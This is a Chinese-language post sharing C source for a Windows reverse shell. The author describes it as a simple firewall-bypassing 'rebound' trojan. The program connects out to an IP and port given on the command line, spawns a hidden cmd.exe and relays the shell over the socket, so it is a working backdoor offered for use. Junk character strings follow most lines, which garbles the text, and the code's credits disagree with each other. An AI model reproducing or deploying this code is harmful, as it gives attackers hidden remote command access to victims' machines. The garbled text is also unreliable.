这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '0+*
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/* ============================== )[Y B&
Rebound port in Windows NT &k}f"TX2
By wind,2006/7 6%v9o?:~l
===============================*/ Kgbm/L0XR*
#include [{x}# oRSE
#include y~SVD@
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#pragma comment(lib,"wsock32.lib") Jz@~$L
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void OutputShell(); ~Z\:Nx
SOCKET sClient; tq3Wga!5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K+B978XD
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void main(int argc,char **argv) V`V\/s gj
{ =&HLz
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WSADATA stWsaData; J!I)G&:
int nRet; FfoOJzf~o
SOCKADDR_IN stSaiClient,stSaiServer; zsFzg.$3&
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if(argc != 3) *ukyQZ9
{ 6
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printf("Useage:\n\rRebound DestIP DestPort\n"); T{YZ`[
return; MY&Jdmga
} Swi#^i
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WSAStartup(MAKEWORD(2,2),&stWsaData); [ERZ".?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }lJ;|kx$
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stSaiClient.sin_family = AF_INET; tK#R`AQ
stSaiClient.sin_port = htons(0); +X}i%F'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "t@p9>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *XVwTW[a
{ A4K.,bZ
printf("Bind Socket Failed!\n"); {$*N1$(%
return; ).k DY?s
} @-N` W9
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stSaiServer.sin_family = AF_INET; VtreOJ+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); A'WR!*Yt
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0YeTS!*Aj
{ d0cL9&~qW
printf("Connect Error!"); Qzi?%&
return; Szu s*YL7
} /7Q|D sa
OutputShell(); @ZKf3,J0
} W
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void OutputShell() yU? jmJ
{ ; *
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char szBuff[1024]; ~/
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SECURITY_ATTRIBUTES stSecurityAttributes; 39pG-otJ
OSVERSIONINFO stOsversionInfo; 8`Ya7c>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .6B\fr.za
STARTUPINFO stStartupInfo; R%E7 |NAG
char *szShell; Wboh2:TH:
PROCESS_INFORMATION stProcessInformation; ZykMri3bi
unsigned long lBytesRead; 7*/{m K)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y4V:)@P
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Dn- gP
stSecurityAttributes.lpSecurityDescriptor = 0; 6Rd4waj_,U
stSecurityAttributes.bInheritHandle = TRUE; Fe+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +SJ.BmT
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); boh?Xt-$
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~z,o):q1}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xQy,1f3s+
stStartupInfo.wShowWindow = SW_HIDE; tAX*CMW
stStartupInfo.hStdInput = hReadPipe; rS8a/d~;0
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;
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GetVersionEx(&stOsversionInfo); /--p#G h'
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switch(stOsversionInfo.dwPlatformId) )?n'ZhsX
{ "Fz.#U
case 1: "gM^o
szShell = "command.com"; V+d_1]
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break; U"oNJ8&%|
default: ?KT{H(rU
szShell = "cmd.exe"; FLZ9pb[T
break; 2*Z2uV^
} (8 nv&|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O5\r%&$xd
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send(sClient,szMsg,77,0); yNu_>!Cp5
while(1) MNT~[Z9L5G
{ %pWn9
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ebg8qDE
if(lBytesRead) jX53 owZ
{ kmB!NxF>)F
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Obdn#Wm=
send(sClient,szBuff,lBytesRead,0); OLw]BJXYaE
} 37AVk`a
else Ts iJK
{ *4,Q9K_
lBytesRead=recv(sClient,szBuff,1024,0); +`y(S}Z
if(lBytesRead<=0) break; +9)JtmoL
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]5!3|UYS
} OG\i?N
} )0{`}7X
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return; @SQsEq+A?\
}